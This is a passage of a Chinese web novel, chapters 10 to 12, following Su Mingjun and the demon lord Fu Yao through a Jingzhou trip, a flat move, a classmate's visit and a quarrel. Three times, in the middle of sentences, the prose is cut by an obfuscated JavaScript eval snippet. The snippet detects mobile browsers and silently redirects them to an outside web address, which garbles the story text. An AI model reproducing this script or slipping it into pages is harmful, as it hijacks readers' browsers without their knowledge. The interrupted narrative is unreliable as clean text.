都赖伏爻撺掇他。 苏明峻伸手摸摸那片雾。 又笑起来。 10.第 10 章 京州，会惩罚每一个不做攻略就敢在法定节假日来旅游的游客。 比如苏明峻和伏爻。 凌晨从机场出发，习惯了整夜不睡的苏明峻没什么困意，便带着伏爻一路向升旗仪式“奔袭”，等红旗在天光大亮中飘扬，苏明峻打了个哈欠，坐在马路牙子上一查——平台上展示附近酒店都没房了。 苏明峻不死心，扩大定位区域又刷新无数次，终于刷到唯一一间漏网之鱼，迅速订房。 然后被告知下午两点才能入住。 苏明峻：…… 他现在是真困了。 伏爻看起来也没比他精神到哪里去。 毕竟魔尊大人耗了几个小时的灵力维持遁形的状态，一趟飞机坐下来看起来已经比开飞机的还要累。苏明峻知道伏爻只是为了陪他看升旗才强打着精神说没问题。 于是犹豫片刻，还是给贺博延发了消息，问问他在京州有没有哪个地方可以借给他二人暂时落几个小时的脚，等下午酒店可以办入住了就离开。 贺博延被他的行动力震惊之余，好笑地把自己的研究生宿舍“贡献”出来，说他的研究生宿舍正好是双人间，舍友也回家过年了，他和舍友打个招呼，让他和朋友放心住。 这真是救命的宿舍，苏明峻也没和贺博延客气，收到地址就和伏爻往那边去，路上把一次性的床品和吃喝全部外卖点好，准备好好续一续命。 贺博延的宿舍不大，充满理工男毫无装饰的毛坯风。唯一称得上鲜艳的色彩就是贺博延床头柜上的一张专门用玻璃相框框起来的照片，应该是贺博延什么时候获得了一份大荣誉，一手奖杯一手奖状，身边还站着两位一看就是知名教授的大佬，一起站在大学校门门口，意气风发。 苏明峻凑过去仔细看了看，不得不承认“紫禁城的风水养人”，连贺博延这个不修边幅的大老粗，在京州都显出一份儒雅清隽的风度。 苏明峻拿出手机拍了一张，准备等下回再见面的时候好好问问贺博延口中的“书读的还行”到底“还行”到了什么地步。 他正努力在窗帘透过来的日光中找个角度把照片拍清楚，忽然听见身后伏爻问，“你在干什么？” “看到我班长的照片，准备拍下来下回拷问他。”苏明峻没回头，拍了一张不太清晰，删了再拍，忽然感觉身后轻轻一个动静，伏爻跨过两张单人床之间一人宽的距离，也凑到他这张床上来看照片。 他在来贺博延宿舍的地铁上就和伏爻说过贺博延，他给伏爻指着贺博延感叹了一声，“我们班长从高中学习就好，大学又能读到保研，边读研还能比赛拿奖，人和人真是不能比。” 伏爻的目光从那张照片上一扫而过，最后停在专注看着照片上抱着奖杯的男子的苏明峻，“你为什么要和他比？” “因为我们是高中同学嘛，就像你们魔族，难道不会定期比试一下身手？” “不会，”伏爻摇头，“我们九墟渊境的魔族都是自己修炼，除了会有父辈给一些帮助，但是魔族子嗣凋零，几乎都只是自己修炼。如果要比试，那就是赌上性命的交手。” 苏明峻被他轻描淡写的“赌上性命”四个字震到，倏地意识到伏爻来自一个真正的，“九墟渊境”。那不是四个字，是鲜血淋漓，你死我活的魔界。 “在我看来你比他厉害多了。他在京州的房子是你口中的学校提供的，你在云昌的房子是你自己挣钱租到的。”正愣着，伏爻又开口，顺便扯了一把，把他从坐姿拽得倒在床上，“不是要睡觉吗？我也困了。” “哦……好。”苏明峻把头挪到枕头上，又侧头看着伏爻两步跨到他的床上，枕着那张粉红色草莓图案的一次性枕套，闭着眼睛睡着了。 好歹搞定了住宿，但是没有想在节假日临时预约景点比登天还难，苏明峻这回刷不到漏网之鱼，给伏爻出上了歪主意，大意是让伏爻走到景点门口再遁形几十秒，覆在游客身上进到景点再恢复。 魔尊大人暂时还没有学习到“逃票”的概念，他只是皱着眉头看向换到酒店床上继续躺着的苏明峻，“你呢？” 苏明峻双眼一弯，逗他：“我就守在寒窑苦苦地等你回来。” 伏爻不懂“逃票”，也不懂苏明峻口中的“寒窑”，他只是说“不行。” “为什么不行？” 因为苏明峻不在，就没意思。 苏明峻不在云昌，云昌就没意思；苏明峻不去京州的景点，京州的景点就都没意思。 苏明峻也没真准备让伏爻一个人、哦，一个魔去各个景点打卡，那看起来也太诡异了些。 于是终于睡够了的一人一魔只得在大街小巷和那些不需要预约的公园里边溜达边买小吃，也是另一种潇洒。 不过京州的人还是太多了。 来旅游的人多，提前从家乡返京的人也多。苏明峻去穆色上班那些天也算重温了云昌的晚高峰，但比起在节假日尾声只有部分上班族复工后的京州来说仍然可以说算是小巫见大巫。 连一向面无表情的伏爻都被这实打实的人“山”人“海”震出了惊讶的神色，苏明峻放弃与节假日提早复工的上班族们争抢地铁，自觉站在队伍之外，看着地铁成厢成厢地“运”走疲惫不堪地人们。 伏爻看了一会，问苏明峻，“你失业以前，也这样吗？” “云昌晚高峰也人多，但比这好多了。”苏明峻感慨，“京州的经济发达，节奏也快，就我们在云昌那样的小破房子，如果在京州我根本不可能一个人租一整间房。” “那怎么租？” “就是陌生人合租，你租大卧室，我租小卧室，客厅再挂个帘子租给两个人......”苏明峻看向伏爻，“这回没逗你，真的。你们魔族九墟渊境地方大人少，就算住得再远有灵力在身上瞬间也能飞到，自然不会有我们这种烦恼。” 伏爻又问，“那如果你到京州，也会过这种生活吗？” “最开始总要过一段这种日子的，”苏明峻想想自己在云昌还能称得上一句“够用”的余额，笑道，“要么你在云昌多留一段时间，等我在京州攒够钱租整套房子了再接你来。” 伏爻皱了皱眉，没说话。 “或者我帮你找个有钱人家里，京州有钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785798|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不少，他们那里的房子很大，有的还有私家花园或者游泳池，你不是说你的魔宫后面有一处温泉吗？游泳池也差不多。你只要不刻意化形变丑，就凭你的样貌，总有人愿意收留你在家里——” 他的话还没说完，伏爻已经恶狠狠地一手“掐”住他的脖子一手捂住他的口鼻。 苏明峻“呜呜”两声，好不容易扒拉掉伏爻的手，安抚道：“我开玩笑的嘛。” 伏爻看着他说：“你不是开玩笑。” 他说的认真，苏明峻安抚的笑容僵在了脸上。 是开玩笑，也不全是开玩笑。 他想过要把伏爻托付给他人，来到京州后这种想法更甚。 倒不是什么觉得自己的经济条件太差拖累伏爻这种物质上的理由，毕竟他只是伏爻的一个收留者，伏爻要是待不下去自然会离开。他只是觉得，伏爻从来没有放弃过在这个他口中“灵力极为稀薄”的世界从头修炼来积攒灵力，这足以证明伏爻一直在寻求某一天能够回到他的九墟渊境。 既然如此，伏爻真正需要做的事情应该是寻求真正有能力的人的帮助，至少可以为他寻得一处可以好好修炼灵力的地方，如果有机会，搞不好还能真正对伏爻的来时路有所研究，才能真正帮他快点回到九墟渊境。 而不是因为缺钱让伏爻去穆色出卖色相，或者隐藏身形去物流中心干体力活。 京州比云昌要大很多，也是全世界有能力者最多的城市之一，如果伏爻一定要去一个地方寻求帮助，那一定是京州。 而且是不在他苏明峻身边的京州。 虽然他来了一趟后也不准备留在京州就是。苏明峻对于出人头地或者飞黄腾达没有什么想法，他喜欢云昌那种容得下慢悠悠懒洋洋的生活状态的城市。 伏爻再次开口，“我们什么时候回云昌？” 苏明峻见他主动转移话题，也顺着台阶下了，“想回去的话我可以随时买票。” “不过，”苏明峻加了一句，“你不喜欢京州吗？” “还可以吧，感觉和云昌没有什么不同。但是京州的灵力比云昌还弱。”伏爻说，“你要是留在京州，我就留在云昌。” ...... 好吧，虽然伏爻口中的“灵力薄弱”这一原因已经真假难辨，但是有一条确定的信息苏明峻听出来了：魔尊大人生气了。 苏明峻憋着笑说，“我也不想留在京州。” 果然伏爻的脸色阴转多云。 苏明峻又说，“我都看好了几套老西城新小区的出租房，房子面积大了一半，离市中心和穆色也都近很多，我们回去后定下来就搬家。” 伏爻问：“真的？” 苏明峻点头：“比我说要给你找个有钱人家真。” 再收留具有雏鸟情节的魔尊大人一段时间吧，反正伏爻说过，九墟渊境魔族生命周期都很长很长，人间百年岁月于他们而言，不过是闭关修炼中的几次呼吸。 伏爻听了他的调侃又作势要掐他的脖子，苏明峻没躲，看着魔尊大人的手在他脖子上虚虚握了握。 脸色多云转晴。 11.第 11 章 回云昌没多久，苏明峻就选定了最终的租房地点，和伏爻找了个天气不错的下午，从原来的小破出租房搬到了新小区麓和城。 新出租房是一个三室一厅的电梯房，苏明峻和伏爻各分了一个卧室，还有一间小房子暂时用来当杂物间，苏明峻把原来出租屋里的沙发床也搬过来放到了里面，想着下回孔建来就有地方住了。 不过孔建还没住上，听说苏明峻从京州回来就决定留在云昌的贺博延先从荣安跑来了。 隔天就是元宵，今天又是周日，云昌街边稍微好点的餐厅家家爆满，苏明峻干脆拉着贺博延一起在家里涮火锅。 伏爻没有意见。 当然有意见也没用，手握经济大权的苏明峻只是知会了他一声，就匆匆跑去汽车站接人了。 听说他们在京州只玩几天就回了云昌，贺博延有点遗憾，不过苏明峻劝他，自己又不是不再去了。 他只是不想在京州生活，不代表不想下一次做好攻略预约好参观号再去对各大景点好好参观一番。 贺博延这才说是，又要他下次来一定要提前同自己说。 苏明峻连连点头，贺博延又问他：“你那个舍友，你和他关系不错？” “对啊，怎么问这个？” “一般换了个地方还能继续合租，都是很铁的关系了。”贺博延笑道，“就说我和我舍友吧，在学校里没办法，住一间房也能住，但要是毕业了出去工作，我是绝对不愿意和他合租的。” 苏明峻笑笑，“那他还行，没什么毛病。” 毕竟人类那些抽烟喝酒嚼槟榔带人回家等等的坏毛病，魔尊大人还没有机会去尝试“学习”。 与此同时，伏爻还有点洁癖，加上他小施灵力就能毫不费力把房间清洁干净，伏爻便无知无觉地承担了出租屋的保洁工作。所以苏明峻对他还挺满意。 苏明峻看看贺博延的表情，无奈道：“班长，你想说什么就说。” “我就觉得你这个舍友......我不是说他坏话，就是我的一种感觉，”贺博延措辞半天，小心翼翼，“感觉他脑子有点问题。” 苏明峻在北京住了他的宿舍几个小时，走之前和他视频了一次给他确认宿舍没问题，贺博延也知道自己那宿舍基本上没什么东西，压根没在意宿舍，只是留意到苏明峻镜头的边缘带进了一个男子，虽然面容帅气到甚至可以称得上一句艳丽，但是比起那些更重要的是那双鬼幽幽盯着摄像头的绿眼睛。 要不是贺博延信奉唯物主义，也见过苏明峻手机里伏爻的那张脸，他真要以为苏明峻招惹上什么不干净的东西使自己透过手机摄像头白日见鬼。 还有今天，苏明峻接了他先回到家里放行李，决定吃火锅后两个人溜达出来买食材，苏明峻要伏爻留在家里先洗锅烧水，伏爻虽然一口应下，但是那双眼睛依然紧紧地盯着他二人，直到大门合上贺博延才感觉背后的目光被迫阻绝了。 若是说伏爻对苏明峻有什么坏心思，那贺博延不敢说太绝对，毕竟苏明峻口中他们二人也和平顺遂地做了那么久的舍友，他只是免不了会想到苏明峻读书时候一向平静到甚至称得上软和的性子，生怕他被这个鬼里鬼气的舍友牵扯到什么麻烦事里去。 苏明峻失笑，只好说，“伏爻就是社会化程度低了点，他人不坏。” “社会化程度低”听起来也绝不是什么好词，贺博延叹了口气，“反正知人知面不知心，小心些总没有坏处。” 苏明峻笑着答应了。 火锅煮起来，贺博延还拿了五瓶啤酒，苏明峻和伏爻都喝不醉，眼睁睁看着贺博延用啤酒把自己灌醉了。 人喝多了就容易话多，贺博延也是。 伏爻本来在桌上就不怎么说话，贺博延一喝醉就更忘了桌上还有这号人物，原是聊着他们当年在一中时虽然学习压力大但乐趣无穷的高中生活，说着说着便换了张苦涩的脸，扒着苏明峻说那张照片背后的血与泪。 小导师与大导师之间的各怀心思、学校项目部与研究中心之间的利益纠葛、同级生与学弟学妹学长学姐背后错综复杂的后台关系……一米八的汉子涕泗横流。 苏明峻的大学生活平平无奇，对贺博延的痛苦插不上话，但苏明峻也知道贺博延实在是没人能说话了，所有人都觉得当年的贺大班长是最有出息的人，他的顺遂与成就理所当然。苏明峻只能陪着他一杯杯碰杯，最后和伏爻一起把人搬到自己床上。 卧室门关上，伏爻问：“你和他关系很好吗？” 苏明峻听见这似曾相识的开头，憋不住乐，见伏爻不满地看着他，才认真点说，“除了孔建，就是贺博延和我还比较熟了。” 伏爻“哦”了一声，又问：“他为什么劝你去京州？” “这有什么‘为什么’的，”苏明峻笑笑，“就是他觉得京州机会比较多，建议我去看看而已。” 伏爻冷哼一声，“我看他自己在京州待的也未必开心。” 苏明峻乐了，“待的开心和必须要待在那里，是两回事。” 伏爻撇撇嘴，看起来并没有完全理解。 苏明峻很难同魔尊大人把这个道理说明白，不过能感觉到他不太喜欢贺博延，但是实在想不出理由，要正儿八经问这么一嘴又没有必要，索性换了个话题，“说起来，你真觉得云昌的灵力比京州要强一些？” 伏爻想了想，“其实差不多，但是云昌的灵力更容易被我炼化。” “为什么？” “不知道，只能感觉到京州的灵力是被压在下一层，”伏爻努力形容了一下，又摇摇头，“我也说不准。” 苏明峻道京州这个地方自古以来就常做帝王之城，或许因此有些古怪。 伏爻不知道听进去没有，沉默片刻忽然又问：“他睡了你的卧室，你睡哪里？” 苏明峻理所当然，“那不是杂物间有沙发床嘛，对付一宿。” 伏爻说，“那间房子还没装空调。” 顿了顿又补充，“而是东西带过来都堆着，还没收拾。” 苏明峻想起房东是说要后几天等搞活动再买，客厅的沙发又太窄……他想起贺大班长的鼾声，心有戚戚焉，但还是说，“我和班长挤一晚吧。” 伏爻抓住他，瞪大眼睛，“你为什么不能和我挤一晚？” 苏明峻一愣，点头，“也行。” 左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797752|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右他和伏爻当时在京州订不到双床房的时候也在一张大床上凑合睡过。 只是真到了次卧里苏明峻才发现，一米五宽和一米八宽的床看起来差别不大，但两个成年男人躺上去，原本令二人得以互不打扰的三十公分消失以后，这距离便显得有些近了。 不过他和伏爻都是高瘦型的体型，两个人睡姿也规矩，不算拥挤。 苏明峻带着贺博延逛了云昌，又为他提供了一晚上的情绪价值，上了床就睡着了。 只是夜里渴了起来倒水喝，才发现伏爻并不在床的另一端，伏爻……离自己很近。 他稍微一动作，伏爻就醒过来了，问他，“你要干什么去？” “喝水。” “喝水为什么要下床？”伏爻迷迷瞪瞪地一伸手，向虚空一抓——什么都没发生。 苏明峻：…… 听见苏明峻难以压抑的嘲笑声，伏爻彻底清醒了，他恶狠狠地把自己身上的薄被掀到苏明峻身上，“不准笑了，我去给你倒！” 水很快端来了，苏明峻开了夜灯，见伏爻有些神魂不定，“怎么了？” “我刚才好像……感觉到了一点灵力的波动。” “哪里？” “就在外面……小区里。” 苏明峻一凛，“那你还不赶紧去看看？”说着就要披衣服下床，“我和你一起。” 于是二人小跑下楼，顺着伏爻察觉灵力波动的地方一路找去，却一无所获。 伏爻四处望着，最终摇摇头，“许是我看错了。” 苏明峻劝道，“不如我们再转转。” 正说着，只听见空中炸雷轰响，伴随着几声连贯的闷雷追至，只见紫金色的闪电将夜空照得烁亮！ 苏明峻下意识要拉伏爻到单元门里去躲一躲，伏爻随他一起躲着，又说，“就是现在。” “什么意思？” “灵力波动，刚才消失了，闪电时又有……” 苏明峻若有所思，“要是按你这么说，我见到你的那天，的确也隐隐见过几道闪电。那时我还想着雪天怎么会有闪电，还以为是我看错了。” 伏爻点点头，“或许这些灵力就与闪电有关。” 只是往常他在夜晚需要睡眠时间，醒着有闪电时他的感知又常为外界嘈杂所干扰，竟一直没有发现其中的关联。 苏明峻还想问他，一侧头却发现伏爻已经闭目凝神，看起来正在吸取灵力，他便没有说话，站在一旁等他。 谁知不过一会功夫伏爻便睁开了眼睛，面色极为难堪地盯着空中仍然闪烁的雷电，直到看到苏明峻才勉强扯出一个笑容，“我没事，天气冷，我们回去吧。” 就这么回去？ 但伏爻的脸色不好看，苏明峻也无意追问。 或许伏爻想说的时候会同他说的。 二人于是又回到家里，打开家门，却发现贺博延醒来了，正站在他家客厅里，见他二人回来，面色古怪，“这个天气，你们俩跑到外面去干什么？” 苏明峻一时想不到借口，伏爻也想不到。 沉默中，贺博延皱起眉头，“你们……为了躲着我出去谈恋爱了？” 12.第 12 章 苏明峻不得不为贺博延的脑回路所折服。 偏偏他还找不到一个比贺博延更符合现状的、能被正常人接受的理由。 除非伏爻和贺博延再说一次：“本尊是九墟渊境尊者伏爻。” 苏明峻看了一眼伏爻，魔尊大人很明显并不打算再说一遍。 苏明峻看看伏爻，再看看贺博延，灵光乍现：“他梦游下楼了，天气这么差，我怕他出事，就我出门抓他回来。” 贺博延：…… 他去看伏爻，苏明峻也盯着伏爻。 魔尊大人与苏明峻的目光略一对视，面无表情地点点头：“是的，我有梦游症。” 贺博延将信将疑，被苏明峻推回卧室，叫他去睡觉。 等一夜过去雷雨交加转为晴空朗照，贺博延告辞，苏明峻送他下楼。 贺博延又抓着他，恳切道：“你那个舍友还会梦游，我越想越危险，这种人一般精神都有问题，到时候万一出什么事，他可是连法律责任都不用负。” 苏明峻：…… 在让贺博延认为他二位人魔恋和认为伏爻脑子有问题这个抉择中，苏明峻没怎么犹豫就选择了后者。 他诚恳地点点头，“老贺，我记下了，我会督促他去看医生的。” 贺博延唉了一声，摇摇头，终究还是什么都没说，只是第N次重复提醒他万事小心。 苏明峻今晚就有穆色的工作，没法送贺博延去机场，送他上了出租车便回家换衣服，一进门便看见伏爻正背对着他坐在沙发上，认真地使用手机引擎搜索——附近约见交友app？！ 看那辣眼睛的配色和在被封禁边缘徘徊的擦边图案…… 苏明峻表情复杂地咳嗽了一声，伏爻才察觉到他走近了，把手机烫手山芋似的丢给他：“我不知道怎么就跳出这个了！关也关不掉！你关！” 听伏爻这么说，估计是不小心点到了。 苏明峻松了口气。 要是伏爻真有这个需求，他真得如贺博延所愿把伏爻赶出去了。 他接过伏爻的手机，两下把整个搜索界面全都关掉，顺道看了一眼伏爻之前是搜什么才跳到的这个广告界面。 “谈恋爱？”苏明峻意外地把手机还给他，“你搜这仨字干什么？你不知道什么是谈恋爱？” 伏爻有点窘迫地拿回手机，闷声回答，“不知道。” “你们那里……？” 伏爻接话：“没有这个说法，人族也没有。”又问，“到底什么意思？恋爱是什么要谈的东西？为什么贺博延会说我们在谈恋爱？还要躲着他？” 伏爻的问题太多了。 苏明峻叹了口气，“谈恋爱，就是两个人相爱——你知道‘爱’是什么意思吧？” 伏爻撇嘴，“当然知道。” “从相爱到结婚，或者你们应该叫成亲，中间用来培养感情的过渡阶段，就是谈恋爱。”苏明峻尽量简单地解释，“在我们这里，有的人不愿意在成亲之前被人知道自己在谈恋爱，就会躲着自己的朋友。所以贺博延对我们有误解。” 伏爻似懂非懂，“听起来你们这里的人类比我们那边的人族还麻烦。他们都没有什么过渡阶段，看上了就可以成亲。” 苏明峻已经从伏爻口中知道他们那边六界中的人界时代类似于这边的古代，所以没有感情直接结婚也是很正常的。 但是听伏爻现在这番话，他们魔族比人族的方法还要简单粗暴？ “我们没有成亲这种说法，那样互相约束太过无趣和蠢笨，那是弱者想出来的规则。”伏爻说，“看上了就抢过来，腻味了就换一个。何况只要实力够强，总有实力不强的小魔愿意贴上来做魔宠。” 苏明峻：…… 虽然他并不觉得现代社会的婚恋制度完美无缺，但魔界这种简单粗暴不谈感情的习俗他更不敢苟同。 他点点头，示意自己明白了，准备回屋换衣服。 穆色的工作依然按部就班地进行着，唯一的好消息是辛江据说在新的一年工作调动离开了云昌，苏明峻不必再在与他沟通的时候多死一些脑细胞。 但辛江总不会是第一个对他感兴趣的人，在穆色工作的时间久了，总会有不死心的男男女女凑上来要他的联系方式，虽然大多数人在苏明峻好声好气但言辞坚决的拒绝下知难而返，但像辛江那样堵在穆色门口要送他回家的人还是出现了第二个。 依旧是一辆带司机的豪车。 这次是一名女生。 很年轻，很漂亮，据说是老板穆远小男朋友的“青梅竹马”。 穆远说你不是被那些人烦得不堪其扰吗？和人纪曼易接触接触，万一真能谈上，以纪曼易的家世，不会再有人敢来烦他。 穆远拿自己做例子。 穆远的小男朋友原来对外的身份就是一个大学学生，于是穆远身边的狂蜂浪蝶几乎没有停息的时刻。直到他的男朋友忍无可忍暴露了身份，又对常来穆色“骚扰”穆远的那几位好一番敲打，穆远彻底清静了。 苏明峻没说自己没有想谈恋爱的打算，这句话对于在酒吧工作的人来说太像一句渣男语录，即使他说，听者也会只将这句话当成一句免责声明。 于是苏明峻说，我只是穆色的一个服务员，难道还能和纪家的大小姐有什么结果吗？ “为什么要有结果？又为什么一定不会有结果？”穆远反问他，“你总不会做一辈子服务员的。” 苏明峻还想说什么，穆远叹了口气，“明子，你现在没有其他的压力了，可以放轻松一些，尝试尝试人生全新的体验。” 全新的，体验？ 苏明峻很想说，他已经有一个新的不能再新的体验了。 但是说出来显得他脑子不正常。 好在纪曼易比辛江要令人愉悦许多，她并不卖弄自己的财富，只是说小苏哥，听说你原来是在工业设计工作室上班的，我最近想开工作室，有些问题想在咨询你，送你回家的话就不用耽误你其他的时间了。 随着降下来的车窗一起扑面而来的是车里的冷气，出于趋利避害的人类本能，苏明峻应该马上上车。 但他很想拒绝。 只是纪曼易在这一点上与辛江同样执着，苏明峻上了车。 纪曼易果然只问他与工作室相关的事项，问得也并不难以回答，也能算是相谈甚欢。 车子送他到麓和城，夏夜的骤雨毫无预兆地又来，纪曼易便问了他的楼栋号，让司机从麓和城的大门缓缓驶入地下停车场。 他不再需要一把雨伞，伏爻也不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812605|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要在深夜下来等他。 不过这两天他和魔尊大人小小地吵了一架——也不能算吵架，顶多算冷战。 所以苏明峻回到家看到伏爻没有在自己卧室里睡觉而是在客厅里开着大灯看电视时，有些意外。 分歧的原因是伏爻再一次给苏明峻这段时间的工资时，苏明峻没忍住，劝伏爻不要再去做那些工作挣钱了，他的钱足够两个人花。 伏爻没有立马反驳他，只是说，“反正我在这里也没有什么别的事情能做。” 苏明峻说，“你还没查清楚要怎么找到灵力足够的地方恢复灵力，也没有找到回去的办法，光这两件事就够你花时间了。” 伏爻这回变了脸色，阴阳怪气地“哦”了一声，又说，“原来你是想让我早点离开。” 苏明峻并不与他计较，只问，“难道你不想早点离开？” 分明伏爻刚来那些天常常面露烦躁之色，一问才说是魔界向来是实力为尊，他在的时候是九墟渊境的尊主，一旦被发现他果真离了九墟渊境，那还不知道他手底下那些混账东西会厮杀到什么程度，又会把他的九墟殿糟蹋成什么样。 他要是回去了，第一件事就是把他们再往死里整治一番。 这是伏爻的原话，苏明峻不过复述了个开头，伏爻就想起来了。 但他并没有就此偃旗息鼓。 魔尊大人说，“即便那是我说的话，可是你想让我早点走不也是实话吗？” 苏明峻这两天精神不太好，懒得理他。 只是听伏爻又说，“我看到贺博延发消息问我到底有没有去看病了，你到现在还觉得我有病。” 苏明峻叹了口气，“你怎么会这么想？你到底有没有病我还不知道吗？说要带你去看病不过是敷衍贺博延的，上次骗他说你有梦游症——” 他的话还没说完，伏爻走了。 关上了卧室的门。 苏明峻就是脾气再好也不是泥人捏的，他把伏爻给自己的钱丢回次卧门口。 就此开启了冷战。 他的作息原本就昼夜颠倒，如果不是平常伏爻刻意等他，这一人一魔如果不想碰面，甚至不用有意避开，轻而易举就能做到。 所以伏爻这个时间在客厅，电视里还放着一些语调平淡的政治新闻——新闻不是伏爻的口味，他喜欢那些有打打杀杀情节的仙侠偶像剧，即使看十分钟可以翻二十个白眼，也绝不去看那些政治新闻。想来只能是等他。 勉强算是一个台阶吧。 苏明峻劝自己不要对魔尊大人抱有太多高情商的期待，主动开口问道：“今天这么晚还没睡？” 伏爻好像忽然发觉他回来似的，站起来又转过身，开口道：“我这两天都没去挣那些钱了。” 苏明峻有些意外，“那.......挺好。你缺钱的话可以和我说。” “我不缺。”伏爻顿了顿，“我又去图书馆了。” 苏明峻便问：“查出什么线索了吗？” “还没有。”伏爻回答了三个字，又沉默片刻，才重新开口：“是辛江又回云昌了吗？” “辛江？他没回来吧。”苏明峻纳闷，“你怎么突然提起他？” 伏爻的眼神飘向客厅的落地窗：“我看到有车送你回家。”